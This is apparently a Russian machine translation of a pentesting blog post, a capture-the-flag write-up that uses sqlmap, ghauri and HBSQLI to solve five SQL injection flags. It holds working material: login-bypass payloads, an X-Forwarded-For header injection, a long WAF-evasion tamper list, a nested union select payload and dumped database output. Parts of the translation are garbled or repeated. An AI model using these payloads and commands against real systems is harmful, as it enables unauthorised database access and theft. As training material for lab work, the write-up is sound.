Автоматизация SQL-инъекций [Complete web app pentesting series #8]
Введение
Веб-приложение становится уязвимым для атак с использованием SQL-инъекций, когда злоумышленники выполняют злонамеренные манипуляции с выполняемыми им SQL-запросами. Неправильная проверка входных данных и очистка создают уязвимости, с помощью которых злоумышленники получают доступ. Злоумышленники могут использовать эту уязвимость для:
Злоумышленник может извлечь конфиденциальное содержимое базы данных с помощью этой уязвимости. С помощью этой уязвимости, в случае успешного выполнения, злоумышленник может выполнить следующие действия:
- Изменение или удаление записей: Успешное нарушение административных операций базы данных позволяет злоумышленникам выполнять административные задачи в базе данных.
- Механизмы обхода аутентификации
Типы SQL-инъекций
- In-band SQL Injection: Злоумышленники осуществляют как начало атаки, так и получение результатов с помощью одного метода связи (на основе ошибок или на основе объединения).
- Blind SQL Injection: Злоумышленники извлекают невидимые результаты запросов, но интерпретируют информацию через поведенческие паттерны приложения (такие как булевы индикаторы)..
- Out-of-band SQL Injection: Передача данных осуществляется по отдельным каналам, поскольку злоумышленник осуществляет связь посредством HTTP-запросов.
Автоматизация SQL-инъекций на основе заголовков с помощью HBSQLI
Наличие такого инструмента, как HBSQLI, упрощает тестирование уязвимостей SQL-инъекции на основе заголовков (HBSQLI) вручную. Это потрясающий автоматизированный инструмент командной строки, который как никогда раньше решит проблему обнаружения уязвимостей на основе слепых Sql-инъекций на основе заголовков.
Почему HBSQLI?
HBSQLI автоматизирует задачу тестирования HTTP-заголовков на наличие точек внедрения, создавая гораздо более простой процесс с меньшим количеством ручной работы и более точный, чем раньше. Он поддерживает тестирование более 1 URL-адресов, которые можно настроить с помощью полезных нагрузок и заголовков. Кроме того, он предлагает два режима:
- Verbose mode: пошагово отображает весь процесс тестирования.
- Non-verbose mode: он выводит только уязвимые URL-адреса в качестве более чистого вывода.
Для тестирования вы можете указать либо один URL-адрес, либо список URL-адресов:
python3 hbsqli.py -u "https://target.com" -p payloads.txt -H headers.txt -v
python3 hbsqli.py -l urls.txt -p payloads.txt -H headers.txt -v
Как использовать инструменты автоматизации для использования SQL-инъекции?
Мы можем теоретически объяснить все командные флаги, которые sqlmap
или ghauri
инструмент используется, но это не является целью данного блога. Вы всегда можете прочитать об использовании инструмента в блогах, wiki и репозитории github. Лучший способ научиться чему-либо, по моему скромному мнению, - это научиться этому практически, немного потрудившись, поэтому давайте воспользуемся автоматизированным инструментом, чтобы попытаться решить эту лабораторную работу.
Прежде чем мы начнем, если вы впервые изучаете и используете такие инструменты, как sqlmap
, я настоятельно рекомендую быть знакомым и чувствовать себя комфортно при использовании burp suite requests
и переходят в sqlmap
. Хотя это звучит сложно, на самом деле это простой процесс, и научиться ему можно с помощью демонстрации, а поскольку читать и следовать ему сложно, лучше всего подойдет видеоурок. Не стесняйтесь посмотреть следующее видео.
Флаг 1:
Первая проблема, с которой мы сталкиваемся, - страница входа в систему. Наша первая идея - использовать полезную нагрузку sql auth в обход. Давайте разберемся и найдем любую из допустимых полезных нагрузок. Вот некоторые из полезных нагрузок, которые работают:
' or 1=1 limit 1 -- -+ admin' or 1=1;-- -
В sqlmap
эквивалентом этой команды и этого процесса было бы что-то вроде следующего:
sqlmap -u http://10.10.X.X/login --method=POST --data=username=admin&password=admin -p username,password --risk=3 --level=3 --random-age
Теперь здесь, в приведенной выше команде, мы указываем целевой URL с помощью -u
и затем мы явно указываем тип запроса, который использует форма входа в систему, а именно POST
. Теперь мы проходим мимо POST
параметры в --data
флаг, который является username
и password
. Согласно заявлению Google, мы осторожно повышаем уровень риска, и вам, возможно, захочется перепроверить и пересмотреть, прежде чем использовать это в реальных взаимодействиях.
The higher the value, the greater the number of payloads injected by sqlmap, but also the greater the risk. Depending on the location of the injection in the original SQL query, **increasing the risk can lead to unwanted data modifications**. By default, this value is set to 1.
Флаг 2:
Теперь о втором флаге, который нас просят проверить и посетить terms and conditions
страница эта страница на первый взгляд выглядит так, как показано ниже. Здесь мы видим, что на этой веб-странице регистрируется наш IP.
Поиск в Google с такими терминами, как log IP address
мы не находим ничего полезного, поэтому копаем немного глубже и используем такие поисковые запросы, как logging IP address of website
и это требует от нас заполнения совершенно разных тем. Теперь, если мы загуглим с помощью этого поискового запроса под названием logging client IP
мы видим статью stackoverflow, в которой говорится о X FORWARDED-FOR
, и, возможно, это поможет в решении этой задачи.
HTTP-запросы используют заголовки для передачи информации об IP-адресе клиента в настройках, использующих прокси-серверы или балансировщики нагрузки. Вот несколько хороших примеров:
- X-Forwarded-For: Этот заголовок показывает первый IP запрашивающего клиента, когда между ним и веб-сайтом существуют прокси.
- X-Originating-IP: то же, что X-Forwarded-For, хотя иногда почтовые серверы реализуют его для отслеживания исходных IP-адресов отправителей.
- X-Remote-IP: Метод ведения журнала показывает IP-адрес клиента, который отображается на промежуточном сервере.
- X-Remote-Addr: Этот протокол ведения журнала на промежуточном сервере обеспечивает запись адреса удаленного клиента во время связи.
- X-Forwarded-Host: Этот заголовок сохраняет неизмененный
Host
значение каждого запроса, который администрируют прокси.
Информация о заголовках остается достоверной на основе проверки на стороне сервера, поскольку злоумышленники могут изменять эти заголовки. Теперь давайте запустим наш набор sqlmap и burp, чтобы получить наш второй флаг.
Мы можем использовать классический инструмент под названием sqlmap
и в этом блоге мы расскажем, как мы можем использовать ghauri
как хорошо. Так что приготовься ghauri
инструмент потрясающий, он немного быстрее, чем sqlmap
и его обработка полезной нагрузки - это круто. Вы можете проверить этот инструмент по этой ссылке, и да, шаги по установке приведены в этой ссылке.
sqlmap -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump-all
/home/mccleod via via v5.30.0 via via v3.8.10 via ⍱ took 2s ❯ ghauri -u "http://10.10.46.168/terms-and-conditions" --headers="X-forwarded-for:1*" --level=5 --dbms=mysql --threads 10 --dump ________.__ .__ {1.3.1} / _____/| |__ _____ __ _________|__| / \ ___| | \\__ \ | | \_ __ \ | \ \_\ \ Y \/ __ \| | /| | \/ | \______ /___| (____ /____/ |__| |__| \/ \/ \/ https://github.com/r0oth3x49 An advanced SQL injection detection & exploitation tool.
Флаг 3:
Флаг 3 - личный фаворит. Это научило и напомнило мне одну из основных вещей в пентестировании веб-приложений, которая заключается в изучении каждой отдельной опции и функции веб-приложения, и мы никогда не знаем, какая функция может быть уязвимой, а какая может выдать нам действительную ошибку. При регистрации пользователя мы видим, что он проверяет, существует ли пользователь уже или нет.
Это выглядит действительно интересно, почему бы нам не посмотреть, как это выглядит в burpsuite и что происходит в фоновом режиме. Мы запускаем burp suite и видим, что он приводит нас к новой конечной точке.
Это выглядит очень интересно, вы можете либо сохранить этот запрос в текстовый файл, а затем передать его через ghauri
или sqlmap
. Поскольку это GET
запрос, мы можем передать напрямую через -u
параметр. Теперь, поскольку база данных для предыдущей задачи была sqhell_2
давайте укажем базу данных для этой ситуации, чтобы нам не пришлось долго ждать получения нашего флага, и в нашем случае флаг с правильной базой данных выглядит следующим образом -D sqhell_3
.Это выглядит очень интересно, вы можете либо сохранить этот запрос в текстовый файл, а затем передать его через ghauri
или sqlmap
. Поскольку это GET
запрос, мы можем передать напрямую через -u
параметр. Теперь, поскольку база данных для предыдущей задачи была sqhell_2
давайте укажем базу данных для этой ситуации, чтобы нам не пришлось долго ждать получения нашего флага, и в нашем случае флаг с правильной базой данных выглядит следующим образом -D sqhell_3
.
via v5.30.0 via via v3.8.10 via ⍱ took 1m12s ❯ ghauri -r username.req --level=5 --dbms=mysql --threads 10 --dump -D sqhell_3 ________.__ .__ {1.3.1} / _____/| |__ _____ __ _________|__| / \ ___| | \\__ \ | | \_ __ \ | \ \_\ \ Y \/ __ \| | /| | \/ | \______ /___| (____ /____/ |__| |__| \/ \/ \/ https://github.com/r0oth3x49 An advanced SQL injection detection & exploitation tool.
[20:37:26] [INFO] retrieved: 1 [20:37:42] [INFO] retrieved: THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308} [20:37:46] [INFO] retrieved: 1 Database: sqhell_3 Table: flag [1 entries] +---------------------------------------------+----+ | flag | id | +---------------------------------------------+----+ | THM{FLAG3:97AEB3B28A4864416718F3A5FAF8F308} | 1 | +---------------------------------------------+----+ [20:37:46] [INFO] table 'sqhell_3.flag' dumped to CSV file '/home/mccleod/.ghauri/10.10.46.168/dump/sqhell_3/flag.csv' [20:37:46] [INFO] fetched data logged to text files under '/home/mccleod/.ghauri/10.10.46.168' [*] ending @ 20:37:46 /2025-01-26/
Флаг 4:
Для этого мы нашли конечную точку под названием /user
который принимает id
параметр. Мы пытались использовать sqlmap
и каждый сценарий несанкционированного доступа, который может быть выполнен против mysql
база данных, но это не сработало.
er?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_4 --random-agent --tamper=between,bluecoat,charencod e,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multip lespaces,percentage,randomcase,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versi onedkeywords,versionedmorekeywords,xforwardedfor -T users ___ __H__ ___ ___[,]_____ ___ ___ {1.8.4#stable} |_ -| . ['] | .'| . | |___|_ ["]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
Теперь я бы, конечно, порекомендовал прочитать больше скриптов несанкционированного доступа, которые могут быть полезны при обходе любых брандмауэров веб-приложений. Я получал, что база данных вызывается sqhell_4
был пуст, так что нам не повезло, и обоим ghauri
и sqlmap
в результате появилось то же сообщение.
Когда ничего не осталось, мы выполняем операцию вручную sql injection
но на этот раз мы используем order by
полезная нагрузка для определения количества столбцов, и если мы получим ошибку, то количество столбцов в базе данных равно 4.
order by 5;
Иногда в реальном мире автоматизация может дать сбой, или мы можем не знать, как их использовать в данной конкретной ситуации, следовательно, мы должны принять горькую правду о том, что знания того, как использовать инструменты, недостаточно, а инструменты не являются серебряной пулей, гарантирующей использование sql injection
Теперь мы используем следующие вложенные sql injection payload
чтобы получить флаг.
union all select "1 union select 1,flag,3,4 from flag-- -",1,2 from users#
Флаг 5:
Для пятого флага, несмотря на запущенный ghauri
дважды я не мог получить полный флаг из базы данных. Ghauri не дал положительных результатов, вот используемая команда.
ghauri -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch
Но с sqlmap
Я получил флаг мгновенно. Не стесняйтесь использовать --batch
вариант в обоих случаях sqlmap
и в ghauri
так что каждый раз вам не придется manually
введите "да" или "нет" для каждого вопроса, который вам задает инструмент. Используйте этот параметр осторожно.
/home/mccleod via via v5.30.0 via via v3.8.10 via ⍱ ❯ sqlmap -u 'http://10.10.46.168/post?id=1*' --level=5 --dbms=mysql --threads 10 --dump -D sqhell_5 --batch ___ __H__ ___ ___["]_____ ___ ___ {1.8.4#stable} |_ -| . [(] | .'| . | |___|_ [.]_|_|_|__,| _| |_|V... |_| https://sqlmap.org [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all ap plicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program [*] starting @ 20:55:37 /2025-01-26/
Сравнение ключевых характеристик
При сравнении Ghauri и SQLMap как инструментов для обнаружения и использования SQL-инъекций несколько особенностей подчеркивают, почему Ghauri может считаться лучшим в определенных контекстах, особенно для автоматизации.
Почему Ghauri может быть лучше для автоматизации SQLMap
Использование Ghauri представляется более выгодным по сравнению с автоматизацией SQLMap в первую очередь из-за его повышенной скорости.
- Скорость и эффективность: Независимые исследования показывают, что Ghauri удается выявлять уязвимости быстрее, чем SQLMap работает в конкретных средах тестирования. Эффективность Ghauri в обнаружении эксплойтов превышает ограничения SQLMap, особенно когда SQLMap выходит из строя, как показано в представленных демонстрациях.
- Управление пользовательскими агентами: Ghauri обеспечивает автоматическое управление строками пользовательских агентов в качестве жизненно важного компонента для защиты от брандмауэров веб-приложений (WAF). SQLMap требует, чтобы пользователи определяли свой собственный случайный пользовательский агент, поскольку WAF-системы, такие как CloudFlare, могут обнаруживать и блокировать их.
- Универсальная поддержка внедрения: Более широкая совместимость Ghauri с типами внедрения благодаря поддержке JSON и данных в виде составных форм обеспечивает лучшую применимость в различных структурах веб-приложений, чем SQLMap, который в первую очередь нацелен на запросы GET и POST.
- Обработка сеанса: Благодаря улучшенной обработке сеанса Ghauri позволяет пользователям очищать сеансы и восстанавливать ранее установленные соединения. Система помогает тестировщикам сократить продолжительность тестирования при выполнении длительных оценок.
- Ложноположительные результаты: Судя по отзывам пользователей, Ghaury демонстрирует лучшую производительность, показывая меньше ошибочных результатов, чем инструмент SQLMap. Надежность поддерживает процедуру тестирования, поскольку снижены требования к тщательной проверке результатов.
Оригинальная статья | Перевод: THREAD